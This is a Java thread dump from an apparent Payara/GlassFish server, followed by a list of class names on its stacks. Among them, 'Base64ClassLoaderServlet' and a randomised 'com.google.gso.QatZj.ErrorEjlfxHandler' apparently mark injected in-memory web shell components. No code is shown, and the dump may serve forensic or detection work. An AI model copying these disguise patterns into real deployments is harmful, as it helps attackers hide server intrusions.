java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"Executor-Service-2" #139 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@1d0f042f + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"FileSystemWatchService" #178 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/sun.nio.fs.LinuxWatchService.poll(Native Method) + at java.base@21.0.11/sun.nio.fs.LinuxWatchService$Poller.run(LinuxWatchService.java:307) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"hz.blissful_keller.event-2" #91 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4f59c428 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.hazelcast.internal.util.executor.StripedExecutor$Worker.run(StripedExecutor.java:227) + +"GF Domain XML" #63 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@1901509b + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"hz.blissful_keller.migration" #97 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4e25410f + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at com.hazelcast.internal.partition.impl.MigrationQueue.poll(MigrationQueue.java:48) + at com.hazelcast.internal.partition.impl.MigrationThread.doRun(MigrationThread.java:91) + at com.hazelcast.internal.partition.impl.MigrationThread.run(MigrationThread.java:66) + +"Executor-Service-1" #138 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@1d0f042f + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"http-listener-2-kernel(1) SelectorRunner" #133 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.11/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:88) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:308) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:248) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:535) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"ContainerBackgroundProcessor[StandardEngine[glassfish-web]]" #150 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/java.lang.Thread.sleep0(Native Method) + at java.base@21.0.11/java.lang.Thread.sleep(Thread.java:509) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessorAtomic.run(ContainerBase.java:1831) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"payara-executor-service-task" #147 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@699f5ebf + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"Logging output pump" #52 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@51816f5e + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:420) + at com.sun.common.util.logging.LoggingOutputStream.log(LoggingOutputStream.java:154) + at com.sun.common.util.logging.LoggingOutputStream$1.run(LoggingOutputStream.java:132) + +"hz.blissful_keller.partition-operation.thread-8" #80 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"FelixResolver-1" #24 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@36b470d1 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"log-notifier-1" #160 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41625a12 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingDeque.takeFirst(LinkedBlockingDeque.java:485) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingDeque.take(LinkedBlockingDeque.java:673) + at fish.payara.nucleus.notification.NotifierHandler.run(NotifierHandler.java:168) + at fish.payara.nucleus.notification.NotifierHandler$$Lambda/0x000000d00134e478.run(Unknown Source) + at java.base@21.0.11/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:572) + at java.base@21.0.11/java.util.concurrent.FutureTask.runAndReset(FutureTask.java:358) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:305) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1144) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"hz.blissful_keller.response-1" #71 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationservice.impl.InboundResponseHandlerSupplier$ResponseThread.doRun(InboundResponseHandlerSupplier.java:295) + at com.hazelcast.spi.impl.operationservice.impl.InboundResponseHandlerSupplier$ResponseThread.executeRun(InboundResponseHandlerSupplier.java:284) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"Job Cleanup Service" #158 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@79c543bf + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +ServletNameTestFilter +UrlMappingTestFilter +com.google.gso.QatZj.ErrorEjlfxHandler +com.hazelcast.internal.diagnostics.HealthMonitor$HealthMonitorThread +com.hazelcast.internal.networking.nio.NioThread +com.hazelcast.internal.networking.nio.iobalancer.IOBalancerThread +com.hazelcast.internal.partition.impl.MigrationQueue +com.hazelcast.internal.partition.impl.MigrationThread +com.hazelcast.internal.server.tcp.TcpServerAcceptor$AcceptorIOThread +com.hazelcast.internal.util.concurrent.MPSCQueue +com.hazelcast.internal.util.executor.CachedExecutorServiceDelegate$Worker +com.hazelcast.internal.util.executor.HazelcastManagedThread +com.hazelcast.internal.util.executor.StripedExecutor$Worker +com.hazelcast.internal.util.phonehome.CloudInfoCollector +com.hazelcast.internal.util.phonehome.MetricsCollector +com.hazelcast.internal.util.phonehome.PhoneHome +com.hazelcast.internal.util.phonehome.PhoneHome$$Lambda/0x000000d001758240 +com.hazelcast.spi.impl.executionservice.impl.DelegateAndSkipOnConcurrentExecutionDecorator$DelegateDecorator +com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl +com.hazelcast.spi.impl.operationexecutor.impl.OperationThread +com.hazelcast.spi.impl.operationexecutor.slowoperationdetector.SlowOperationDetector$DetectorThread +com.hazelcast.spi.impl.operationparker.impl.OperationParkerImpl$ExpirationTask +com.hazelcast.spi.impl.operationservice.impl.InboundResponseHandlerSupplier$ResponseThread +fish.payara.nucleus.notification.NotifierHandler +fish.payara.nucleus.notification.NotifierHandler$$Lambda/0x000000d00134e478 +fish.payara.nucleus.phonehome.PhoneHomeTask +org.apache.catalina.connector.CoyoteAdapter +org.apache.catalina.connector.CoyoteWriter +org.apache.catalina.core.ApplicationFilterChain +org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessorAtomic +org.apache.catalina.core.ContainerBase$ContainerBackgroundSessionProcessorAtomic +org.apache.catalina.core.StandardContextValve +org.apache.catalina.core.StandardHostValve +org.apache.catalina.core.StandardPipeline +org.apache.catalina.core.StandardWrapper +org.apache.catalina.core.StandardWrapperValve +org.apache.felix.cm.impl.UpdateThread +org.apache.felix.fileinstall.internal.DirectoryWatcher +org.apache.felix.framework.EventDispatcher +org.apache.felix.framework.EventDispatcher$1 +org.apache.felix.framework.FrameworkStartLevelImpl +org.apache.felix.framework.FrameworkWiringImpl +org.glassfish.grizzly.ProcessorExecutor +org.glassfish.grizzly.filterchain.DefaultFilterChain +org.glassfish.grizzly.filterchain.ExecutorResolver$9 +org.glassfish.grizzly.http.server.HttpHandler +org.glassfish.grizzly.http.server.HttpServerFilter +org.glassfish.grizzly.nio.DefaultSelectorHandler +org.glassfish.grizzly.nio.SelectorRunner +org.glassfish.grizzly.nio.transport.TCPNIOTransport +org.glassfish.grizzly.strategies.AbstractIOStrategy +org.glassfish.grizzly.strategies.WorkerThreadIOStrategy +org.glassfish.grizzly.strategies.WorkerThreadIOStrategy$WorkerThreadRunnable +org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker +org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker +org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker +org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable +org.glassfish.tyrus.servlet.TyrusServletFilter +org.jvnet.hk2.config.Transactions$Notifier$1